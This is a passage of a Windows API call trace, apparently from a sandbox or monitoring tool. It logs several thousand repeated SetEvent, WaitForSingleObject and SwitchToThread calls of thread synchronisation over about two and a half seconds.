	[0077.238] SetEvent (hEvent=0x6c) returned 1
	[0077.238] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.239] SetEvent (hEvent=0x8c) returned 1
	[0077.239] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.263] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.266] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.303] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.320] SetEvent (hEvent=0x6c) returned 1
	[0077.320] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.320] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.347] SetEvent (hEvent=0x6c) returned 1
	[0077.347] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.349] SetEvent (hEvent=0x6c) returned 1
	[0077.349] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.350] SetEvent (hEvent=0x6c) returned 1
	[0077.350] SwitchToThread () returned 1
	[0077.350] SetEvent (hEvent=0x6c) returned 1
	[0077.350] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.350] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.393] SetEvent (hEvent=0x6c) returned 1
	[0077.393] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.395] SetEvent (hEvent=0x8c) returned 1
	[0077.395] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.419] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.422] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.432] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.450] SetEvent (hEvent=0x6c) returned 1
	[0077.450] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.451] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.476] SetEvent (hEvent=0x6c) returned 1
	[0077.476] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.478] SetEvent (hEvent=0x6c) returned 1
	[0077.478] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.478] SetEvent (hEvent=0x6c) returned 1
	[0077.478] SwitchToThread () returned 1
	[0077.479] SetEvent (hEvent=0x6c) returned 1
	[0077.479] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.479] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.508] SetEvent (hEvent=0x6c) returned 1
	[0077.508] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.510] SetEvent (hEvent=0x8c) returned 1
	[0077.510] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.533] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.536] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.556] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.564] SetEvent (hEvent=0x6c) returned 1
	[0077.564] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.565] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.590] SetEvent (hEvent=0x6c) returned 1
	[0077.590] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.592] SetEvent (hEvent=0x6c) returned 1
	[0077.592] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.592] SetEvent (hEvent=0x6c) returned 1
	[0077.592] SwitchToThread () returned 1
	[0077.592] SetEvent (hEvent=0x6c) returned 1
	[0077.592] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.593] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.631] SetEvent (hEvent=0x6c) returned 1
	[0077.631] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.633] SetEvent (hEvent=0x8c) returned 1
	[0077.634] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.657] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.660] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.680] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] SetEvent (hEvent=0x6c) returned 1
	[0077.687] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.713] SetEvent (hEvent=0x6c) returned 1
	[0077.713] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.715] SetEvent (hEvent=0x6c) returned 1
	[0077.715] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.716] SetEvent (hEvent=0x6c) returned 1
	[0077.716] SwitchToThread () returned 1
	[0077.716] SetEvent (hEvent=0x6c) returned 1
	[0077.716] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.716] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.745] SetEvent (hEvent=0x80) returned 1
	[0077.745] SetEvent (hEvent=0x8c) returned 1
	[0077.745] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.753] SetEvent (hEvent=0x6c) returned 1
	[0077.753] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.769] SetEvent (hEvent=0x6c) returned 1
	[0077.769] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.772] SetEvent (hEvent=0x6c) returned 1
	[0077.772] SwitchToThread () returned 1
	[0077.772] SetEvent (hEvent=0x6c) returned 1
	[0077.772] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.772] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.802] SetEvent (hEvent=0x6c) returned 1
	[0077.802] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.803] SetEvent (hEvent=0x80) returned 1
	[0077.803] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.827] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.830] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.850] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.855] SetEvent (hEvent=0x6c) returned 1
	[0077.855] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.855] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.880] SetEvent (hEvent=0x6c) returned 1
	[0077.880] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.882] SetEvent (hEvent=0x6c) returned 1
	[0077.882] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.882] SetEvent (hEvent=0x6c) returned 1
	[0077.882] SwitchToThread () returned 1
	[0077.883] SetEvent (hEvent=0x6c) returned 1
	[0077.883] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.883] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.921] SetEvent (hEvent=0x6c) returned 1
	[0077.921] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.923] SetEvent (hEvent=0x80) returned 1
	[0077.923] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.946] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.949] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.958] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.991] SetEvent (hEvent=0x6c) returned 1
	[0077.991] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0077.997] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.022] SetEvent (hEvent=0x6c) returned 1
	[0078.022] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.024] SetEvent (hEvent=0x6c) returned 1
	[0078.024] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.024] SetEvent (hEvent=0x6c) returned 1
	[0078.024] SwitchToThread () returned 1
	[0078.024] SetEvent (hEvent=0x6c) returned 1
	[0078.024] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.025] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.052] SetEvent (hEvent=0x6c) returned 1
	[0078.052] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.054] SetEvent (hEvent=0x80) returned 1
	[0078.054] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.077] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.079] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.095] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.117] SetEvent (hEvent=0x6c) returned 1
	[0078.118] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.118] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.143] SetEvent (hEvent=0x6c) returned 1
	[0078.143] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.145] SetEvent (hEvent=0x6c) returned 1
	[0078.145] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.146] SetEvent (hEvent=0x6c) returned 1
	[0078.146] SwitchToThread () returned 1
	[0078.146] SetEvent (hEvent=0x6c) returned 1
	[0078.146] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.146] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.183] SetEvent (hEvent=0x6c) returned 1
	[0078.183] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.185] SetEvent (hEvent=0x80) returned 1
	[0078.185] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.208] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.211] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.235] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.240] SetEvent (hEvent=0x6c) returned 1
	[0078.240] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.241] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.266] SetEvent (hEvent=0x6c) returned 1
	[0078.266] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.268] SetEvent (hEvent=0x6c) returned 1
	[0078.268] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.268] SetEvent (hEvent=0x6c) returned 1
	[0078.268] SwitchToThread () returned 1
	[0078.268] SetEvent (hEvent=0x6c) returned 1
	[0078.268] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.269] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.311] SetEvent (hEvent=0x6c) returned 1
	[0078.311] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.316] SetEvent (hEvent=0x80) returned 1
	[0078.316] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.339] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.342] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.371] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.380] SetEvent (hEvent=0x6c) returned 1
	[0078.380] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.381] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.413] SetEvent (hEvent=0x6c) returned 1
	[0078.413] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.415] SetEvent (hEvent=0x6c) returned 1
	[0078.415] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.416] SetEvent (hEvent=0x6c) returned 1
	[0078.416] SwitchToThread () returned 1
	[0078.416] SetEvent (hEvent=0x6c) returned 1
	[0078.416] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.416] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.460] SetEvent (hEvent=0x6c) returned 1
	[0078.460] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.461] SetEvent (hEvent=0x80) returned 1
	[0078.461] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.486] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.489] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.514] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.573] SetEvent (hEvent=0x6c) returned 1
	[0078.573] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.574] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.600] SetEvent (hEvent=0x6c) returned 1
	[0078.600] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.601] SetEvent (hEvent=0x6c) returned 1
	[0078.601] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.602] SetEvent (hEvent=0x6c) returned 1
	[0078.602] SwitchToThread () returned 1
	[0078.602] SetEvent (hEvent=0x6c) returned 1
	[0078.602] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.602] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.632] SetEvent (hEvent=0x6c) returned 1
	[0078.632] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.634] SetEvent (hEvent=0x80) returned 1
	[0078.634] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.658] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.661] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.691] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.699] SetEvent (hEvent=0x6c) returned 1
	[0078.699] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.700] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.726] SetEvent (hEvent=0x6c) returned 1
	[0078.726] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.728] SetEvent (hEvent=0x6c) returned 1
	[0078.728] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.728] SetEvent (hEvent=0x6c) returned 1
	[0078.728] SwitchToThread () returned 1
	[0078.729] SetEvent (hEvent=0x6c) returned 1
	[0078.729] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.729] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.756] SetEvent (hEvent=0x6c) returned 1
	[0078.756] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.757] SetEvent (hEvent=0x80) returned 1
	[0078.757] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.781] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.784] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.804] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.813] SetEvent (hEvent=0x6c) returned 1
	[0078.813] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.813] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.838] SetEvent (hEvent=0x6c) returned 1
	[0078.838] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.840] SetEvent (hEvent=0x6c) returned 1
	[0078.840] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.841] SetEvent (hEvent=0x6c) returned 1
	[0078.841] SwitchToThread () returned 1
	[0078.841] SetEvent (hEvent=0x6c) returned 1
	[0078.841] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.841] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.876] SetEvent (hEvent=0x6c) returned 1
	[0078.876] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.877] SetEvent (hEvent=0x80) returned 1
	[0078.877] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.900] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.903] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.925] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.936] SetEvent (hEvent=0x6c) returned 1
	[0078.936] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.936] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.962] SetEvent (hEvent=0x6c) returned 1
	[0078.962] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.963] SetEvent (hEvent=0x6c) returned 1
	[0078.963] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.964] SetEvent (hEvent=0x6c) returned 1
	[0078.964] SwitchToThread () returned 1
	[0078.964] SetEvent (hEvent=0x6c) returned 1
	[0078.964] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.964] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.999] SetEvent (hEvent=0x6c) returned 1
	[0078.999] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.001] SetEvent (hEvent=0x80) returned 1
	[0079.001] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.025] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.028] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.037] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.063] SetEvent (hEvent=0x6c) returned 1
	[0079.063] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.063] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.090] SetEvent (hEvent=0x6c) returned 1
	[0079.090] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.091] SetEvent (hEvent=0x6c) returned 1
	[0079.092] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.092] SetEvent (hEvent=0x6c) returned 1
	[0079.092] SwitchToThread () returned 1
	[0079.092] SetEvent (hEvent=0x6c) returned 1
	[0079.092] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.092] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.179] SetEvent (hEvent=0x6c) returned 1
	[0079.179] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.181] SetEvent (hEvent=0x80) returned 1
	[0079.181] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.204] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.207] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.230] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.237] SetEvent (hEvent=0x6c) returned 1
	[0079.237] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.237] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.263] SetEvent (hEvent=0x6c) returned 1
	[0079.263] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.264] SetEvent (hEvent=0x6c) returned 1
	[0079.264] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.265] SetEvent (hEvent=0x6c) returned 1
	[0079.265] SwitchToThread () returned 1
	[0079.265] SetEvent (hEvent=0x6c) returned 1
	[0079.265] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.265] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.350] SetEvent (hEvent=0x6c) returned 1
	[0079.350] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.355] SetEvent (hEvent=0x80) returned 1
	[0079.355] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.378] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.381] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.403] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.410] SetEvent (hEvent=0x6c) returned 1
	[0079.410] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.410] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.436] SetEvent (hEvent=0x6c) returned 1
	[0079.436] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.438] SetEvent (hEvent=0x6c) returned 1
	[0079.438] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.438] SetEvent (hEvent=0x6c) returned 1
	[0079.438] SwitchToThread () returned 1
	[0079.438] SetEvent (hEvent=0x6c) returned 1
	[0079.438] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.439] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.470] SetEvent (hEvent=0x6c) returned 1
	[0079.470] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.472] SetEvent (hEvent=0x80) returned 1
	[0079.472] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.498] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.501] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.523] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.530] SetEvent (hEvent=0x6c) returned 1
	[0079.530] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.530] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.556] SetEvent (hEvent=0x6c) returned 1
	[0079.556] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.558] SetEvent (hEvent=0x6c) returned 1
	[0079.558] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.558] SetEvent (hEvent=0x6c) returned 1
	[0079.558] SwitchToThread () returned 1
	[0079.559] SetEvent (hEvent=0x6c) returned 1
	[0079.559] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.559] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.588] SetEvent (hEvent=0x6c) returned 1
	[0079.588] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.590] SetEvent (hEvent=0x80) returned 1
	[0079.590] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.614] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.617] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.640] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.647] SetEvent (hEvent=0x6c) returned 1
	[0079.648] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.648] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.673] SetEvent (hEvent=0x6c) returned 1
	[0079.673] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.675] SetEvent (hEvent=0x6c) returned 1
	[0079.675] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.676] SetEvent (hEvent=0x6c) returned 1
	[0079.676] SwitchToThread () returned 1
	[0079.676] SetEvent (hEvent=0x6c) returned 1
	[0079.676] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.676] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.706] SetEvent (hEvent=0x6c) returned 1
	[0079.706] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.708] SetEvent (hEvent=0x80) returned 1
	[0079.708] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.732] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.735] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.756] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.762] SetEvent (hEvent=0x6c) returned 1
	[0079.762] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.762] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.788] SetEvent (hEvent=0x6c) returned 1
	[0079.788] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.790] SetEvent (hEvent=0x6c) returned 1
	[0079.790] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.791] SetEvent (hEvent=0x6c) returned 1
	[0079.791] SwitchToThread () returned 1
	[0079.791] SetEvent (hEvent=0x6c) returned 1
	[0079.791] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
